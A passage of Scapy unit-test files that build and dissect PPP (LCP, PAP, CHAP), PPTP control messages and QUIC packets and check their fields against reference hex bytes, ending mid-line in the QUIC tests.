conf_req_pkt.answers(conf_nak_pkt) = Test LCP Configure Reject ~ ppp lcp lcp_configure lcp_configure_reject conf_reject = PPP() / PPP_LCP_Configure(code='Configure-Reject', id=42, options=[PPP_LCP_Callback_Option(operation='Location identifier', message='test')]) conf_reject_ref_data = hex_bytes('c021042a000b0d070274657374') assert raw(conf_reject) == conf_reject_ref_data conf_reject_pkt = PPP(conf_reject_ref_data) assert PPP_LCP_Configure in conf_reject_pkt assert conf_reject_pkt[PPP_LCP_Configure].code == 4 assert conf_reject_pkt[PPP_LCP_Configure].id == 42 assert len(conf_reject_pkt[PPP_LCP_Configure].options) == 1 assert isinstance(conf_reject_pkt[PPP_LCP_Configure].options[0], PPP_LCP_Callback_Option) assert conf_reject_pkt[PPP_LCP_Configure].options[0].operation == 2 assert conf_reject_pkt[PPP_LCP_Configure].options[0].message == b'test' conf_req_pkt = PPP(hex_bytes('c021012a000b0d070274657374')) assert conf_reject_pkt.answers(conf_req_pkt) assert not conf_req_pkt.answers(conf_reject_pkt) = Test LCP Configure options ~ ppp lcp lcp_configure conf_req = PPP() / PPP_LCP_Configure(id=42, options=[PPP_LCP_MRU_Option(max_recv_unit=5000), PPP_LCP_ACCM_Option(accm=0xf0f0f0f0), PPP_LCP_Auth_Protocol_Option(), PPP_LCP_Quality_Protocol_Option(data='test'), PPP_LCP_Magic_Number_Option(magic_number=4242), PPP_LCP_Callback_Option(operation='Distinguished name',message='test')]) conf_req_ref_data = hex_bytes('c021012a0027010413880206f0f0f0f00304c0230408c025746573740506000010920d070474657374') assert raw(conf_req) == conf_req_ref_data conf_req_pkt = PPP(conf_req_ref_data) assert PPP_LCP_Configure in conf_req_pkt options = conf_req_pkt[PPP_LCP_Configure].options assert len(options) == 6 assert isinstance(options[0], PPP_LCP_MRU_Option) assert options[0].max_recv_unit == 5000 assert isinstance(options[1], PPP_LCP_ACCM_Option) assert options[1].accm == 0xf0f0f0f0 assert isinstance(options[2], PPP_LCP_Auth_Protocol_Option) assert options[2].auth_protocol == 0xc023 assert isinstance(options[3], PPP_LCP_Quality_Protocol_Option) assert options[3].quality_protocol == 0xc025 assert options[3].data == b'test' assert isinstance(options[4], PPP_LCP_Magic_Number_Option) assert options[4].magic_number == 4242 assert isinstance(options[5], PPP_LCP_Callback_Option) assert options[5].operation == 4 assert options[5].message == b'test' = Test LCP Auth option ~ ppp lcp lcp_configure pap = PPP_LCP_Auth_Protocol_Option() pap_ref_data = hex_bytes('0304c023') assert raw(pap) == pap_ref_data pap_pkt = PPP_LCP_Option(pap_ref_data) assert isinstance(pap_pkt, PPP_LCP_Auth_Protocol_Option) assert pap_pkt.auth_protocol == 0xc023 chap_sha1 = PPP_LCP_Auth_Protocol_Option(auth_protocol='Challenge-response authentication protocol', algorithm="SHA1") chap_sha1_ref_data = hex_bytes('0305c22306') assert raw(chap_sha1) == chap_sha1_ref_data chap_sha1_pkt = PPP_LCP_Option(chap_sha1_ref_data) assert isinstance(chap_sha1_pkt, PPP_LCP_Auth_Protocol_Option) assert chap_sha1_pkt.auth_protocol == 0xc223 assert chap_sha1_pkt.algorithm == 6 eap = PPP_LCP_Auth_Protocol_Option(auth_protocol='PPP Extensible authentication protocol', data='test') eap_ref_data = hex_bytes('0308c22774657374') assert raw(eap) == eap_ref_data eap_pkt = PPP_LCP_Option(eap_ref_data) assert isinstance(eap_pkt, PPP_LCP_Auth_Protocol_Option) assert eap_pkt.auth_protocol == 0xc227 assert eap_pkt.data == b'test' = Test LCP Code-Reject ~ ppp lcp lcp_code_reject code_reject = PPP() / PPP_LCP_Code_Reject(id=42, rejected_packet=PPP_LCP(code=42, id=7, data='unknown_data')) code_reject_ref_data = hex_bytes('c021072a00142a070010756e6b6e6f776e5f64617461') assert raw(code_reject) == code_reject_ref_data code_reject_pkt = PPP(code_reject_ref_data) assert PPP_LCP_Code_Reject in code_reject_pkt assert code_reject_pkt[PPP_LCP_Code_Reject].id == 42 assert isinstance(code_reject_pkt[PPP_LCP_Code_Reject].rejected_packet, PPP_LCP) assert code_reject[PPP_LCP_Code_Reject].rejected_packet.code == 42 assert code_reject[PPP_LCP_Code_Reject].rejected_packet.id == 7 assert code_reject[PPP_LCP_Code_Reject].rejected_packet.data == b'unknown_data' = Test LCP Protocol-Reject ~ ppp lcp lcp_protocol_reject protocol_reject = PPP() / PPP_LCP_Protocol_Reject(id=42, rejected_protocol=0x8039, rejected_information=Packet(hex_bytes('0305c22306'))) protocol_reject_ref_data = hex_bytes('c021082a000b80390305c22306') assert raw(protocol_reject) == protocol_reject_ref_data protocol_reject_pkt = PPP(protocol_reject_ref_data) assert PPP_LCP_Protocol_Reject in protocol_reject_pkt assert protocol_reject_pkt[PPP_LCP_Protocol_Reject].id == 42 assert protocol_reject_pkt[PPP_LCP_Protocol_Reject].rejected_protocol == 0x8039 assert len(protocol_reject_pkt[PPP_LCP_Protocol_Reject].rejected_information) == 5 = Test LCP Discard Request ~ ppp lcp lcp_discard_request discard_request = PPP() / PPP_LCP_Discard_Request(id=7, magic_number=4242, data='test') discard_request_ref_data = hex_bytes('c0210b07000c0000109274657374') assert raw(discard_request) == discard_request_ref_data discard_request_pkt = PPP(discard_request_ref_data) assert PPP_LCP_Discard_Request in discard_request_pkt assert discard_request_pkt[PPP_LCP_Discard_Request].id == 7 assert discard_request_pkt[PPP_LCP_Discard_Request].magic_number == 4242 assert discard_request_pkt[PPP_LCP_Discard_Request].data == b'test' = Test LCP Terminate-Request/Terminate-Ack ~ ppp lcp lcp_terminate terminate_request = PPP() / PPP_LCP_Terminate(id=7, data='test') terminate_request_ref_data = hex_bytes('c0210507000874657374') assert raw(terminate_request) == terminate_request_ref_data terminate_request_pkt = PPP(terminate_request_ref_data) assert PPP_LCP_Terminate in terminate_request_pkt assert terminate_request_pkt[PPP_LCP_Terminate].code == 5 assert terminate_request_pkt[PPP_LCP_Terminate].id == 7 assert terminate_request_pkt[PPP_LCP_Terminate].data == b'test' terminate_ack = PPP() / PPP_LCP_Terminate(code='Terminate-Ack', id=7) terminate_ack_ref_data = hex_bytes('c02106070004') assert raw(terminate_ack) == terminate_ack_ref_data terminate_ack_pkt = PPP(terminate_ack_ref_data) assert PPP_LCP_Terminate in terminate_ack_pkt assert terminate_ack_pkt[PPP_LCP_Terminate].code == 6 assert terminate_ack_pkt[PPP_LCP_Terminate].id == 7 assert terminate_ack_pkt.answers(terminate_request_pkt) assert not terminate_request_pkt.answers(terminate_ack_pkt) + PPP PAP Tests = Test PPP PAP Request ~ ppp pap pap_request pap_request = PPP() / PPP_PAP_Request(id=42, username='administrator', password='secret_password') pap_request_ref_data = hex_bytes('c023012a00220d61646d696e6973747261746f720f7365637265745f70617373776f7264') assert raw(pap_request) == pap_request_ref_data pap_request_pkt = PPP(pap_request_ref_data) assert PPP_PAP_Request in pap_request_pkt assert pap_request_pkt[PPP_PAP_Request].code == 1 assert pap_request_pkt[PPP_PAP_Request].id == 42 assert pap_request_pkt[PPP_PAP_Request].username == b'administrator' assert pap_request_pkt[PPP_PAP_Request].password == b'secret_password' assert pap_request_pkt[PPP_PAP_Request].summary() in ['PAP-Request username=\'administrator\' password=\'secret_password\'', 'PAP-Request username=b\'administrator\' password=b\'secret_password\''] = Test PPP PAP Authenticate-Ack ~ ppp pap pap_response pap_ack pap_response = PPP() / PPP_PAP(code='Authenticate-Ack', id=42) pap_response_ref_data = hex_bytes('c023022a000500') assert raw(pap_response) == pap_response_ref_data pap_response_pkt = PPP(pap_response_ref_data) assert PPP_PAP_Response in pap_response_pkt assert pap_response_pkt[PPP_PAP_Response].code == 2 assert pap_response_pkt[PPP_PAP_Response].id == 42 assert pap_response_pkt[PPP_PAP_Response].msg_len == 0 assert pap_response_pkt[PPP_PAP_Response].message == b'' assert pap_response_pkt[PPP_PAP_Response].summary() == 'PAP-Ack' pap_request_pkt = PPP(hex_bytes('c023012a00220d61646d696e6973747261746f720f7365637265745f70617373776f7264')) assert pap_response_pkt.answers(pap_request_pkt) assert not pap_request_pkt.answers(pap_response_pkt) = Test PPP PAP Authenticate-Nak ~ ppp pap pap_response pap_nak pap_response = PPP() / PPP_PAP(code=3, id=42, message='Bad password') pap_response_ref_data = hex_bytes('c023032a00110c4261642070617373776f7264') assert raw(pap_response) == pap_response_ref_data pap_response_pkt = PPP(pap_response_ref_data) assert PPP_PAP_Response in pap_response_pkt assert pap_response_pkt[PPP_PAP_Response].code == 3 assert pap_response_pkt[PPP_PAP_Response].id == 42 assert pap_response_pkt[PPP_PAP_Response].msg_len == len('Bad password') assert pap_response_pkt[PPP_PAP_Response].message == b'Bad password' assert pap_response_pkt[PPP_PAP_Response].summary() in ['PAP-Nak msg=\'Bad password\'', 'PAP-Nak msg=b\'Bad password\''] pap_request_pkt = PPP(hex_bytes('c023012a00220d61646d696e6973747261746f720f7365637265745f70617373776f7264')) assert pap_response_pkt.answers(pap_request_pkt) assert not pap_request_pkt.answers(pap_response_pkt) + PPP CHAP Tests = Test PPP CHAP Challenge ~ ppp chap chap_challenge chap_challenge = PPP() / PPP_CHAP(code=1, id=47, value=b'B' * 7, optional_name='server') chap_challenge_ref_data = hex_bytes('c223012f00120742424242424242736572766572') assert raw(chap_challenge) == chap_challenge_ref_data chap_challenge_pkt = PPP(chap_challenge_ref_data) assert PPP_CHAP_ChallengeResponse in chap_challenge_pkt assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].code == 1 assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].id == 47 assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].value_size == 7 assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].value == b'B' * 7 assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].optional_name == b'server' assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].summary() in ['CHAP challenge=0x42424242424242 optional_name=\'server\'', 'CHAP challenge=0x42424242424242 optional_name=b\'server\''] = Test PPP CHAP Response ~ ppp chap chap_response chap_response = PPP() / PPP_CHAP(code='Response', id=47, value=b'\x00' * 16, optional_name='client') chap_response_ref_data = hex_bytes('c223022f001b1000000000000000000000000000000000636c69656e74') assert raw(chap_response) == chap_response_ref_data chap_response_pkt = PPP(chap_response_ref_data) assert PPP_CHAP_ChallengeResponse in chap_response_pkt assert chap_response_pkt[PPP_CHAP_ChallengeResponse].code == 2 assert chap_response_pkt[PPP_CHAP_ChallengeResponse].id == 47 assert chap_response_pkt[PPP_CHAP_ChallengeResponse].value_size == 16 assert chap_response_pkt[PPP_CHAP_ChallengeResponse].value == b'\x00' * 16 assert chap_response_pkt[PPP_CHAP_ChallengeResponse].optional_name == b'client' assert chap_response_pkt[PPP_CHAP_ChallengeResponse].summary() in ['CHAP response=0x00000000000000000000000000000000 optional_name=\'client\'', 'CHAP response=0x00000000000000000000000000000000 optional_name=b\'client\''] chap_request = PPP(hex_bytes('c223012f00120742424242424242736572766572')) assert chap_response.answers(chap_challenge) assert not chap_challenge.answers(chap_response) = Test PPP CHAP Success ~ ppp chap chap_success chap_success = PPP() / PPP_CHAP(code='Success', id=47) chap_success_ref_data = hex_bytes('c223032f0004') assert raw(chap_success) == chap_success_ref_data chap_success_pkt = PPP(chap_success_ref_data) assert PPP_CHAP in chap_success_pkt assert chap_success_pkt[PPP_CHAP].code == 3 assert chap_success_pkt[PPP_CHAP].id == 47 assert chap_success_pkt[PPP_CHAP].data == b'' assert chap_success_pkt[PPP_CHAP].summary() in ['CHAP Success message=\'\'', 'CHAP Success message=b\'\''] chap_response_pkt = PPP(hex_bytes('c223022f001b1000000000000000000000000000000000636c69656e74')) assert chap_success_pkt.answers(chap_response_pkt) assert not chap_response_pkt.answers(chap_success_pkt) = Test PPP CHAP Failure ~ ppp chap chap_failure chap_failure = PPP() / PPP_CHAP(code='Failure', id=47, data='Go away') chap_failure_ref_data = hex_bytes('c223042f000b476f2061776179') assert raw(chap_failure) == chap_failure_ref_data chap_failure_pkt = PPP(chap_failure_ref_data) assert PPP_CHAP in chap_failure_pkt assert chap_failure_pkt[PPP_CHAP].code == 4 assert chap_failure_pkt[PPP_CHAP].id == 47 assert chap_failure_pkt[PPP_CHAP].data == b'Go away' assert chap_failure_pkt[PPP_CHAP].summary() in ['CHAP Failure message=\'Go away\'', 'CHAP Failure message=b\'Go away\''] chap_response_pkt = PPP(hex_bytes('c223022f001b1000000000000000000000000000000000636c69656e74')) assert chap_failure_pkt.answers(chap_response_pkt) assert not chap_failure_pkt.answers(chap_success_pkt) + PPTP Tests = Test PPTP Start-Control-Connection-Request ~ pptp start_control_connection = PPTPStartControlConnectionRequest(framing_capabilities='Asynchronous Framing supported', bearer_capabilities='Digital access supported', maximum_channels=42, firmware_revision=47, host_name='test host name', vendor_string='test vendor string') start_control_connection_ref_data = hex_bytes('009c00011a2b3c4d00010000010000000000000100000002002a00'\ '2f7465737420686f7374206e616d65000000000000000000000000'\ '000000000000000000000000000000000000000000000000000000'\ '0000000000000000000000746573742076656e646f722073747269'\ '6e6700000000000000000000000000000000000000000000000000'\ '000000000000000000000000000000000000000000') assert raw(start_control_connection) == start_control_connection_ref_data start_control_connection_pkt = PPTP(start_control_connection_ref_data) assert isinstance(start_control_connection_pkt, PPTPStartControlConnectionRequest) assert start_control_connection_pkt.magic_cookie == 0x1a2b3c4d assert start_control_connection_pkt.protocol_version == 0x0100 assert start_control_connection_pkt.framing_capabilities == 1 assert start_control_connection_pkt.bearer_capabilities == 2 assert start_control_connection_pkt.maximum_channels == 42 assert start_control_connection_pkt.firmware_revision == 47 assert start_control_connection_pkt.host_name == b'test host name' + b'\0' * (64-len('test host name')) assert start_control_connection_pkt.vendor_string == b'test vendor string' + b'\0' * (64-len('test vendor string')) = Test PPTP Start-Control-Connection-Reply ~ pptp start_control_connection_reply = PPTPStartControlConnectionReply(result_code='General error', error_code='Not-Connected', framing_capabilities='Synchronous Framing supported', bearer_capabilities='Analog access supported', vendor_string='vendor') start_control_connection_reply_ref_data = hex_bytes('009c00011a2b3c4d00020000010002010000000200000001ffff0'\ '1006c696e75780000000000000000000000000000000000000000'\ '00000000000000000000000000000000000000000000000000000'\ '000000000000000000000000076656e646f720000000000000000'\ '00000000000000000000000000000000000000000000000000000'\ '00000000000000000000000000000000000000000000000') assert raw(start_control_connection_reply) == start_control_connection_reply_ref_data start_control_connection_reply_pkt = PPTP(start_control_connection_reply_ref_data) assert isinstance(start_control_connection_reply_pkt, PPTPStartControlConnectionReply) assert start_control_connection_reply_pkt.magic_cookie == 0x1a2b3c4d assert start_control_connection_reply_pkt.protocol_version == 0x0100 assert start_control_connection_reply_pkt.result_code == 2 assert start_control_connection_reply_pkt.error_code == 1 assert start_control_connection_reply_pkt.framing_capabilities == 2 assert start_control_connection_reply_pkt.bearer_capabilities == 1 assert start_control_connection_reply_pkt.host_name == b'linux' + b'\0' * (64-len('linux')) assert start_control_connection_reply_pkt.vendor_string == b'vendor' + b'\0' * (64-len('vendor')) start_control_connection_request = PPTPStartControlConnectionRequest() assert start_control_connection_reply_pkt.answers(start_control_connection_request) assert not start_control_connection_request.answers(start_control_connection_reply_pkt) = Test PPTP Stop-Control-Connection-Request ~ pptp stop_control_connection = PPTPStopControlConnectionRequest(reason='Stop-Local-Shutdown') stop_control_connection_ref_data = hex_bytes('001000011a2b3c4d0003000003000000') assert raw(stop_control_connection) == stop_control_connection_ref_data stop_control_connection_pkt = PPTP(stop_control_connection_ref_data) assert isinstance(stop_control_connection_pkt, PPTPStopControlConnectionRequest) assert stop_control_connection_pkt.magic_cookie == 0x1a2b3c4d assert stop_control_connection_pkt.reason == 3 = Test PPTP Stop-Control-Connection-Reply ~ pptp stop_control_connection_reply = PPTPStopControlConnectionReply(result_code='General error',error_code='PAC-Error') stop_control_connection_reply_ref_data = hex_bytes('001000011a2b3c4d0004000002060000') assert raw(stop_control_connection_reply) == stop_control_connection_reply_ref_data stop_control_connection_reply_pkt = PPTP(stop_control_connection_reply_ref_data) assert isinstance(stop_control_connection_reply_pkt, PPTPStopControlConnectionReply) assert stop_control_connection_reply_pkt.magic_cookie == 0x1a2b3c4d assert stop_control_connection_reply_pkt.result_code == 2 assert stop_control_connection_reply_pkt.error_code == 6 stop_control_connection_request = PPTPStopControlConnectionRequest() assert stop_control_connection_reply_pkt.answers(stop_control_connection_request) assert not stop_control_connection_request.answers(stop_control_connection_reply_pkt) = Test PPTP Echo-Request ~ pptp echo_request = PPTPEchoRequest(identifier=42) echo_request_ref_data = hex_bytes('001000011a2b3c4d000500000000002a') assert raw(echo_request) == echo_request_ref_data echo_request_pkt = PPTP(echo_request_ref_data) assert isinstance(echo_request_pkt, PPTPEchoRequest) assert echo_request_pkt.magic_cookie == 0x1a2b3c4d assert echo_request_pkt.identifier == 42 = Test PPTP Echo-Reply ~ pptp echo_reply = PPTPEchoReply(identifier=42, result_code='OK') echo_reply_ref_data = hex_bytes('001400011a2b3c4d000600000000002a01000000') assert raw(echo_reply) == echo_reply_ref_data echo_reply_pkt = PPTP(echo_reply_ref_data) assert isinstance(echo_reply_pkt, PPTPEchoReply) assert echo_reply_pkt.magic_cookie == 0x1a2b3c4d assert echo_reply_pkt.identifier == 42 assert echo_reply_pkt.result_code == 1 assert echo_reply_pkt.error_code == 0 echo_request = PPTPEchoRequest(identifier=42) assert echo_reply_pkt.answers(echo_request) assert not echo_request.answers(echo_reply) echo_request_incorrect = PPTPEchoRequest(identifier=47) assert not echo_reply_pkt.answers(echo_request_incorrect) assert not echo_request_incorrect.answers(echo_reply_pkt) = Test PPTP Outgoing-Call-Request ~ pptp outgoing_call = PPTPOutgoingCallRequest(call_id=4242, call_serial_number=47, minimum_bps=1000, maximum_bps=10000, bearer_type='Digital channel', pkt_window_size=16, pkt_proc_delay=1, phone_number_len=9, phone_number='123456789', subaddress='test') outgoing_call_ref_data = hex_bytes('00a800011a2b3c4d000700001092002f000003e8000027100000000200'\ '0000030010000100090000313233343536373839000000000000000000'\ '0000000000000000000000000000000000000000000000000000000000'\ '0000000000000000000000000000000000746573740000000000000000'\ '0000000000000000000000000000000000000000000000000000000000'\ '0000000000000000000000000000000000000000000000') assert raw(outgoing_call) == outgoing_call_ref_data outgoing_call_pkt = PPTP(outgoing_call_ref_data) assert isinstance(outgoing_call_pkt, PPTPOutgoingCallRequest) assert outgoing_call_pkt.magic_cookie == 0x1a2b3c4d assert outgoing_call_pkt.call_id == 4242 assert outgoing_call_pkt.call_serial_number == 47 assert outgoing_call_pkt.minimum_bps == 1000 assert outgoing_call_pkt.maximum_bps == 10000 assert outgoing_call_pkt.bearer_type == 2 assert outgoing_call_pkt.framing_type == 3 assert outgoing_call_pkt.pkt_window_size == 16 assert outgoing_call_pkt.pkt_proc_delay == 1 assert outgoing_call_pkt.phone_number_len == 9 assert outgoing_call_pkt.phone_number == b'123456789' + b'\0' * (64-len('123456789')) assert outgoing_call_pkt.subaddress == b'test' + b'\0' * (64-len('test')) = Test PPTP Outgoing-Call-Reply ~ pptp outgoing_call_reply = PPTPOutgoingCallReply(call_id=4243, peer_call_id=4242, result_code='Busy', error_code='No-Resource', cause_code=42, connect_speed=5000, pkt_window_size=32, pkt_proc_delay=3, channel_id=42) outgoing_call_reply_ref_data = hex_bytes('002000011a2b3c4d00080000109310920404002a00001388002000030000002a') assert raw(outgoing_call_reply) == outgoing_call_reply_ref_data outgoing_call_reply_pkt = PPTP(outgoing_call_reply_ref_data) assert isinstance(outgoing_call_reply_pkt, PPTPOutgoingCallReply) assert outgoing_call_reply_pkt.magic_cookie == 0x1a2b3c4d assert outgoing_call_reply_pkt.call_id == 4243 assert outgoing_call_reply_pkt.peer_call_id == 4242 assert outgoing_call_reply_pkt.result_code == 4 assert outgoing_call_reply_pkt.error_code == 4 assert outgoing_call_reply_pkt.cause_code == 42 assert outgoing_call_reply_pkt.connect_speed == 5000 assert outgoing_call_reply_pkt.pkt_window_size == 32 assert outgoing_call_reply_pkt.pkt_proc_delay == 3 assert outgoing_call_reply_pkt.channel_id == 42 outgoing_call_request = PPTPOutgoingCallRequest(call_id=4242) assert outgoing_call_reply_pkt.answers(outgoing_call_request) assert not outgoing_call_request.answers(outgoing_call_reply_pkt) outgoing_call_request_incorrect = PPTPOutgoingCallRequest(call_id=5656) assert not outgoing_call_reply_pkt.answers(outgoing_call_request_incorrect) assert not outgoing_call_request_incorrect.answers(outgoing_call_reply_pkt) = Test PPTP Incoming-Call-Request ~ pptp incoming_call = PPTPIncomingCallRequest(call_id=4242, call_serial_number=47, bearer_type='Digital channel', channel_id=12, dialed_number_len=9, dialing_number_len=10, dialed_number='123456789', dialing_number='0123456789', subaddress='test') incoming_call_ref_data = hex_bytes('00dc00011a2b3c4d000900001092002f000000020000000c0009000a313233343536373839'\ '00000000000000000000000000000000000000000000000000000000000000000000000000'\ '00000000000000000000000000000000000030313233343536373839000000000000000000'\ '00000000000000000000000000000000000000000000000000000000000000000000000000'\ '00000000000000007465737400000000000000000000000000000000000000000000000000'\ '0000000000000000000000000000000000000000000000000000000000000000000000') assert raw(incoming_call) == incoming_call_ref_data incoming_call_pkt = PPTP(incoming_call_ref_data) assert isinstance(incoming_call_pkt, PPTPIncomingCallRequest) assert incoming_call_pkt.magic_cookie == 0x1a2b3c4d assert incoming_call_pkt.call_id == 4242 assert incoming_call_pkt.call_serial_number == 47 assert incoming_call_pkt.bearer_type == 2 assert incoming_call_pkt.channel_id == 12 assert incoming_call_pkt.dialed_number_len == 9 assert incoming_call_pkt.dialing_number_len == 10 assert incoming_call_pkt.dialed_number == b'123456789' + b'\0' * (64-len('123456789')) assert incoming_call_pkt.dialing_number == b'0123456789' + b'\0' * (64-len('0123456879')) assert incoming_call_pkt.subaddress == b'test' + b'\0' * (64-len('test')) = Test PPTP Incoming-Call-Reply ~ pptp incoming_call_reply = PPTPIncomingCallReply(call_id=4243, peer_call_id=4242, result_code='Connected', error_code='None', pkt_window_size=16, pkt_transmit_delay=42) incoming_call_reply_ref_data = hex_bytes('009400011a2b3c4d000a00001093109201000010002a0000') assert raw(incoming_call_reply) == incoming_call_reply_ref_data incoming_call_reply_pkt = PPTP(incoming_call_reply_ref_data) assert isinstance(incoming_call_reply_pkt, PPTPIncomingCallReply) assert incoming_call_reply_pkt.magic_cookie == 0x1a2b3c4d assert incoming_call_reply_pkt.call_id == 4243 assert incoming_call_reply_pkt.peer_call_id == 4242 assert incoming_call_reply_pkt.result_code == 1 assert incoming_call_reply_pkt.error_code == 0 assert incoming_call_reply_pkt.pkt_window_size == 16 assert incoming_call_reply_pkt.pkt_transmit_delay == 42 incoming_call_req = PPTPIncomingCallRequest(call_id=4242) assert incoming_call_reply_pkt.answers(incoming_call_req) assert not incoming_call_req.answers(incoming_call_reply) incoming_call_req_incorrect = PPTPIncomingCallRequest(call_id=4343) assert not incoming_call_reply_pkt.answers(incoming_call_req_incorrect) assert not incoming_call_req_incorrect.answers(incoming_call_reply_pkt) = Test PPTP Incoming-Call-Connected ~ pptp incoming_call_connected = PPTPIncomingCallConnected(peer_call_id=4242, connect_speed=47474747, pkt_window_size=16, pkt_transmit_delay=7, framing_type='Any type of framing') incoming_call_connected_ref_data = hex_bytes('001c00011a2b3c4d000b00001092000002d4683b0010000700000003') assert raw(incoming_call_connected) == incoming_call_connected_ref_data incoming_call_connected_pkt = PPTP(incoming_call_connected_ref_data) assert isinstance(incoming_call_connected_pkt, PPTPIncomingCallConnected) assert incoming_call_connected_pkt.magic_cookie == 0x1a2b3c4d assert incoming_call_connected_pkt.peer_call_id == 4242 assert incoming_call_connected_pkt.connect_speed == 47474747 assert incoming_call_connected_pkt.pkt_window_size == 16 assert incoming_call_connected_pkt.pkt_transmit_delay == 7 assert incoming_call_connected_pkt.framing_type == 3 incoming_call_reply = PPTPIncomingCallReply(call_id=4242) assert incoming_call_connected_pkt.answers(incoming_call_reply) assert not incoming_call_reply.answers(incoming_call_connected_pkt) incoming_call_reply_incorrect = PPTPIncomingCallReply(call_id=4243) assert not incoming_call_connected_pkt.answers(incoming_call_reply_incorrect) assert not incoming_call_reply_incorrect.answers(incoming_call_connected_pkt) = Test PPTP Call-Clear-Request ~ pptp call_clear_request = PPTPCallClearRequest(call_id=4242) call_clear_request_ref_data = hex_bytes('001000011a2b3c4d000c000010920000') assert raw(call_clear_request) == call_clear_request_ref_data call_clear_request_pkt = PPTP(call_clear_request_ref_data) assert isinstance(call_clear_request_pkt, PPTPCallClearRequest) assert call_clear_request_pkt.magic_cookie == 0x1a2b3c4d assert call_clear_request_pkt.call_id == 4242 = Test PPTP Call-Disconnect-Notify ~ pptp call_disconnect_notify = PPTPCallDisconnectNotify(call_id=4242, result_code='Admin Shutdown', error_code='None', cause_code=47, call_statistic='some description') call_disconnect_notify_ref_data = hex_bytes('009400011a2b3c4d000d000010920300002f0000736f6d65206465736372697074696'\ 'f6e000000000000000000000000000000000000000000000000000000000000000000'\ '000000000000000000000000000000000000000000000000000000000000000000000'\ '000000000000000000000000000000000000000000000000000000000000000000000'\ '00000000000000000000') assert raw(call_disconnect_notify) == call_disconnect_notify_ref_data call_disconnect_notify_pkt = PPTP(call_disconnect_notify_ref_data) assert isinstance(call_disconnect_notify_pkt, PPTPCallDisconnectNotify) assert call_disconnect_notify_pkt.magic_cookie == 0x1a2b3c4d assert call_disconnect_notify_pkt.call_id == 4242 assert call_disconnect_notify_pkt.result_code == 3 assert call_disconnect_notify_pkt.error_code == 0 assert call_disconnect_notify_pkt.cause_code == 47 assert call_disconnect_notify_pkt.call_statistic == b'some description' + b'\0' * (128-len('some description')) = Test PPTP WAN-Error-Notify ~ pptp wan_error_notify = PPTPWANErrorNotify(peer_call_id=4242, crc_errors=1, framing_errors=2, hardware_overruns=3, buffer_overruns=4, time_out_errors=5, alignment_errors=6) wan_error_notify_ref_data = hex_bytes('002800011a2b3c4d000e000010920000000000010000000200000003000000040000000500000006') assert raw(wan_error_notify) == wan_error_notify_ref_data wan_error_notify_pkt = PPTP(wan_error_notify_ref_data) assert isinstance(wan_error_notify_pkt, PPTPWANErrorNotify) assert wan_error_notify_pkt.magic_cookie == 0x1a2b3c4d assert wan_error_notify_pkt.peer_call_id == 4242 assert wan_error_notify_pkt.crc_errors == 1 assert wan_error_notify_pkt.framing_errors == 2 assert wan_error_notify_pkt.hardware_overruns == 3 assert wan_error_notify_pkt.buffer_overruns == 4 = Test PPTP Set-Link-Info ~ pptp set_link_info = PPTPSetLinkInfo(peer_call_id=4242, send_accm=0x0f0f0f0f, receive_accm=0xf0f0f0f0) set_link_info_ref_data = hex_bytes('001800011a2b3c4d000f0000109200000f0f0f0ff0f0f0f0') assert raw(set_link_info) == set_link_info_ref_data set_link_info_pkt = PPTP(set_link_info_ref_data) assert isinstance(set_link_info_pkt, PPTPSetLinkInfo) assert set_link_info_pkt.magic_cookie == 0x1a2b3c4d assert set_link_info_pkt.peer_call_id == 4242 assert set_link_info_pkt.send_accm == 0x0f0f0f0f assert set_link_info_pkt.receive_accm == 0xf0f0f0f0 ================================================ FILE: test/scapy/layers/quic.uts ================================================ % Scapy QUIC layer tests + QUIC dissection / build % We use the examples from https://quic.xargs.org/. Big props & kudos to them ! % FIXME TODO: THIS IS VERY INCOMPLETE. = QUIC - Dissect Client Initial Packet from scapy.layers.quic import * pkt = QUIC(bytes.fromhex("c00000000108000102030405060705635f636964004103001c36a7ed78716be9711ba498b7ed868443bb2e0c514d4d848eadcc7a00d25ce9f9afa483978088de836be68c0b32a24595d7813ea5414a9199329a6d9f7f760dd8bb249bf3f53d9a77fbb7b395b8d66d7879a51fe59ef9601f79998eb3568e1fdc789f640acab3858a82ef2930fa5ce14b5b9ea0bdb29f4572da85aa3def39b7efafffa074b9267070d50b5d07842e49bba3bc787ff295d6ae3b514305f102afe5a047b3fb4c99eb92a274d244d60492c0e2e6e212cef0f9e3f62efd0955e71c768aa6bb3cd80bbb3755c8b7ebee32712f40f2245119487021b4b84e1565e3ca31967ac8604d4032170dec280aeefa095d08b3b7241ef6646a6c86e5c62ce08be099")) assert QUIC_Initial in pkt assert pkt.LongPacketType == 0 assert pkt.DstConnID == b"\x00\x01\x02\x03\x04\x05\x06\x07" assert pkt.SrcConnID == b"c_cid" assert pkt.Length == 259 assert len(pkt.load) + 1 == 259 assert pkt.PacketNumber == 0 = QUIC - Dissect Server Initial Packet from scapy.layers.quic import * pkt = QUIC(bytes.fromhex("c00000000105635f63696405735f63696400407500836855d5d9c823d07c616882ca770279249864b556e51632257e2d8ab1fd0dc04b18b9203fb919d8ef5a33f378a627db674d3c7fce6ca5bb3e8cf90109cbb955665fc1a4b93d05f6eb83252f6631bcadc7402c10f65c52ed15b4429c9f64d84d64fa406cf0b517a926d62a54a9294136b143b033")) assert QUIC_Initial in pkt assert pkt.LongPacketType == 0 assert pkt.DstConnID == b"c_cid" assert pkt.SrcConnID == b"s_cid" assert pkt.Length == 117 assert len(pkt.load) + 1 == 117 assert pkt.PacketNumber == 0 = QUIC - Dissect Server Handshake Packet from scapy.layers.quic import * pkt = QUIC(bytes.fromhex("e00000000105635f63696405735f63696440cf014420f919681c3f0f102a30f5e647a3399abf54bc8e80453134996ba33099056242f3b8e662bbfce42f3ef2b6ba87159147489f8479e849284e983fd905320a62fc7d67e9587797096ca60101d0b2685d8747811178133ad9172b7ff8ea83fd81a814bae27b953a97d57ebff4b4710dba8df82a6b49d7d7fa3d8179cbdb8683d4bfa832645401e5a56a76535f71c6fb3e616c241bb1f43bc147c296f591402997ed49aa0c55e31721d03e14114af2dc458ae03944de5126fe08d66a6ef3ba2ed1025f98fea6d6024998184687dc06")) assert QUIC_Handshake in pkt assert pkt.LongPacketType == 2 assert pkt.DstConnID == b"c_cid" assert pkt.SrcConnID == b"s_cid" assert pkt.PacketNumber == 1 = QUIC - QuicPacketNumberField / 